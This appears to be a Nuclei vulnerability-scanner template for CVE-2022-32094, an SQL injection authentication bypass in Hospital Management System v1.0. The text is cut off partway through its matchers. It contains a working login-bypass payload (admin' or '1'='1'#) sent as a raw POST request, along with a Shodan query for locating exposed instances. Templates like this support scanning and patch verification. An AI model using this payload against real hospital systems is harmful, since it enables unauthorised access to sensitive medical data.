id: CVE-2022-32094 info: name: Hospital Management System v1.0 - SQL Injection author: arafatansari severity: critical description: | Hospital Management System v1.0 was discovered to contain a SQL injection vulnerability via the editid parameter in /HMS/doctor.php. reference: - https://github.com/Danie1233/Hospital-Management-System-v1.0-SQLi-3/ - https://nvd.nist.gov/vuln/detail/CVE-2022-32094 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-32094 cwe-id: CWE-89 metadata: shodan-query: http.html:"Hospital Management System" verified: "true" tags: cve,cve2022,hms,cms,sqli,auth-bypass requests: - raw: - | POST /hms/doctor/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit= redirects: true max-redirects: 2 cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - '